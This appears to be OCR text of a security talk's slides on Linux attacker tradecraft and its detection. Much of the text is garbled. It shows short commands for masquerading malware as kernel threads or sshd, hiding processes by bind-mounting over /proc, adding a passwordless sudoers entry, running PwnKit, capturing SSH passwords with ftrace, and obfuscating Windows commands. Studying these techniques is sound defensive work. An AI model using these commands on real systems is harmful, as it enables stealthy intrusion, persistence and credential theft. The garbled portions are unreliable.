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drwxrwxrwx. &8 root root 4.0K Jan 15 00:23 .
-rwxr-xr-x. 1 root root 107K Jan 15 00:11 .
drwx------ . 24 root root 4.0K Jan 14 15:1/

drwxrwxrwt. 2 root root 4.0K Jan 15 @@:ﬁiiv;;ﬁt—unix
drwxrwxrwt . root root 4.0K Jan 14 13:17 CE-unix
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2= 98, Process



=5 process
$ ps -ef /pI"OC/1183 /exe q-

root 1166 -1 0 12:12 72  00:00:00 [kworker/Q: 2]

' root 1183° 1 @ 12:13 ?  00:00:00 [kthreadd]
root 1197 442 @ 12:13 ?  ©0:00:00 /sbin/udevd -d
root 1319 1 0 12:13 ? 00:00:00 /usr/sbin/sshd
root 1431 1 0 12:13 ? 00:00:00 crond
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>mv malware '/tmp/.

>exec -a [kthreadd]' /tmp/. '
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N H 455
1&1&“1@*&
> IEFE MR : sudo xxx > A Exploit 121 : ./PwnKit xxx
>fRAERR bash >1EE¢ fk -bash

> m1‘ fF sudo xxx |
| > SR oo |
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Bl - {RAIFSHEIEY Process

> [E5; process ERAE ¢

> EEN/HA3R ps (rootkit)

>sudo mount --bind /bin /proc/123/ '~
SERIEIE : AR & - BEF 5 \ *
>Hps 3l >EF /proc/123/ v
>kill -0 123
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%l - {g;8] XMRig

> BINE RINEZIREREI
>B=EHIE hugepages (—1& Linux feature)

> T50% 2K |
> E T REEE |
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% : {=2;8] Impacket __

| whoami>\..\C$\ _output 2>&1 |
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> NABRE TS Eh e |
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51 : {38l Ransomware g

>EMR - AEEBHEMD ;
>/E.||3?)5ﬁ ﬁ}al?ﬂﬁ (shadow volume) "
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> /etc/sudoers

>bob ALL=NOPASSWD: ALL

> B2 ey ? 1T 5=xAY ? 0 A 2K

> TREE
> 12 #E exploit

> Z1&&RCHA L

) J O o

— S¥iE sudoer

WAV3E
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(RAIEE

> [FE1R%E : sudo xxx > FH Exploit #2% : ./PwnKit xxx

>{E4ERR -bash >1EE1‘ ERR -bash
mff [ sudo xxx 8o |

| EERx |
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> [FE1R%E : sudo xxx > FH Exploit 1£#E : ./PwnKit sudo xxx
>{E4ERR -bash >{&#ERR -bash
m1‘ E sudo xxx | > EHERR sudo xx

> md‘ ‘E sudo Xxx‘ f’
 SEEE oo

MNCYCANFT

43 CyCraft Proprietary and Confidential Information



WWANVANVANVANANNANANANNANN

§ ACYCANFT \\\\\:
§ 152 Process §
\ \

A A I AN



(5cE) 183 process IR

1. #117 malware 2. 12 /proc/123
PID: 123 eXe /usr/sbin/sshd

cmdline sshd: user@pts/88
maps 55f4f... /usr/sbin/sshd

MCYCANFT
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> unshare --mount /bin/bash
> mkdir fake

>cp malware fake/sshd

> mount --bind fake /usr/sbin _

>nohup setsid bash -c "exec -a 'sshd: user@pts/88" /usr/sbin/

| sshd" &>/dev/null &
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EEPXRIEES » FI{TEERX - ftrace

>ftrace: B]LARB X Linux kernel AR GDB

> BRS¢ NETRSTE sshd & Rt 5 o HEERASEN 1 2R
> strdup ("2 05"

> getpwnam("fE3E")
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$ ./hunt_ssh_password.sh
. getpwnam:
. strdup:

sshd-8188
sshd-8188
sshd-8192
sshd-8192
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001_
001_
001_

1001

. argl="marry"
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f\ :

'F3 ftrace $£3305

_E]’J cmdlme .
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IBFLE 5 < ] DAEN &5 S 25 1 |

1) cmd,/c;hostname

2) Powershell hostname

3) cmd /c "set x=hostname & echo %x% | cmd"

4y Cmd /c"ho"AsAtA"na"m"e

5) powershell.exe -noP -sta -w 1 -enc
aABvVAHMAdABUAGEAbQB1AC4AZ(QB4AGUACgA=
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